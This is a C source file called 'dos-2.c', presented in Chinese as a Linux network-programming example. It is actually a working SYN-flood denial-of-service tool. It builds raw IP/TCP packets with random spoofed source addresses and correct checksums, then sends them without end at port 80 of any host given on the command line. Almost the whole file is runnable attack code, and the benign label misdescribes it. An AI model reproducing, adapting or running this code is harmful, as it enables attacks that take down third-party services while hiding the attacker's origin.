dos-2.c

一个linux网络开发的示例

#include "sys/socket.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "netinet/tcp.h"
#include <string.h>
#include "stdlib.h"
#include "errno.h"
#include "unistd.h"
#include "stdio.h"
#include "netdb.h" 

#define DESTPORT 80
#define DSTPORT 5183 

struct prseuheader
{
	unsigned long s_addr;
	unsigned long d_addr;
	unsigned char zero;
	unsigned char prototp;
	unsigned short len;
};

void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len); 

int main(int argc, char **argv)
{
	int sockfd;
	struct sockaddr_in addr;
	struct hostent *host;
	int on = 1; 

	if (argc != 2) 
	{
		fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
		exit(1);
	}
	bzero(&addr, sizeof(struct sockaddr_in));

	addr.sin_family = AF_INET;
	addr.sin_port = htons(DESTPORT); 

	if (inet_aton(argv[1], &addr.sin_addr) == 0)
	{
		host = gethostbyname(argv[1]);
		if (host == NULL) 
		{
			fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
			exit(1);
		}
		addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
	} 

	sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sockfd < 0) 
	{
		fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
		exit(1);
	} 

	setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

	setuid(getpid());

	send_tcp(sockfd, &addr);

	return 0;
} 

void send_tcp(int sockfd, struct sockaddr_in *addr)
{
	char buffer[100];
	char tcpbuff[32];
	struct ip *ip;
	struct tcphdr *tcp;
	struct prseuheader theheader;
	int head_len; 

	head_len = sizeof(struct ip) + sizeof(struct tcphdr);
	memset((void*)buffer,'\0',100) ;

	ip = (struct ip *) buffer;
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(struct ip) >> 2;
	ip->ip_tos = 0;
	ip->ip_len = htons(head_len);
	ip->ip_id = 0;
	ip->ip_off = 0;
	ip->ip_ttl = MAXTTL;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_sum = 0;
	ip->ip_dst = addr->sin_addr; 

	tcp = (struct tcphdr *) (buffer + sizeof(struct ip));
	tcp->source = htons(DSTPORT);
	tcp->dest = addr->sin_port;
	tcp->seq = random();
	tcp->ack_seq = 0;
	tcp->doff = 5;
	tcp->syn = 1;
	tcp->check = 0; 

	while (1)
	{
		ip->ip_src.s_addr = random();

		// 填充伪头部
		theheader.s_addr = ip->ip_src.s_addr;
		theheader.d_addr = ip->ip_dst.s_addr;
		theheader.zero = 0;
		theheader.prototp = IPPROTO_TCP;
		theheader.len = htons(20);

		memset((void*)tcpbuff,'\0',32);

		memcpy(tcpbuff,&theheader,12);
		memcpy(tcpbuff+12,tcp,20);

		// tcp的校验和必须计算伪头部
		tcp->check = check_sum((unsigned short *) tcpbuff, 32);

		sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in));
		usleep(1);
	}
}

unsigned short check_sum(unsigned short *buffer, int size)
{
	unsigned long cksum = 0;

	while(size>1)
	{
		cksum += *buffer++;
		size -= sizeof(unsigned short);
	}

	if(size)
	{
		cksum += *(unsigned char*)buffer;
	}

	cksum = (cksum>>16) + (cksum&0xffff); 
	cksum += (cksum>>16);

	return (unsigned short)(~cksum);
}